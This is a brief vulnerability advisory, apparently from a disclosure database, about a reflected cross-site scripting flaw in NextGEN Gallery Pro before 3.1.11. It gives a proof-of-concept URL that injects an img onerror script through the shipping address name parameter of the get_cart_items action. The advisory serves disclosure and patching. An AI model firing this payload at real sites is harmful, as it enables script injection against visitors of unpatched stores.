NextGEN Gallery Pro < 3.1.11 - Reflected Cross-Site Scripting (XSS)

2021-02-2400:00:00

ThuraMoeMyint

301

nextgen gallery pro

cross-site scripting

xss

JSON

In the eCommerce module of NextGEN Gallery Pro, there is an action to call get_cart_items via photocrati_ajax , after that the settings[shipping_address][name] is able to inject malicious javascript.

On a page where a NextGEN (Pro) gallery is embed: ?photocrati_ajax=1&action=get_cart_items&cart=&settings[shipping_address][name]=a%3Cimg%20src=x%20onerror=alert('XSS')%3E

References

www.imagely.com/wordpress-gallery-plugin/nextgen-pro/changelog/

JSON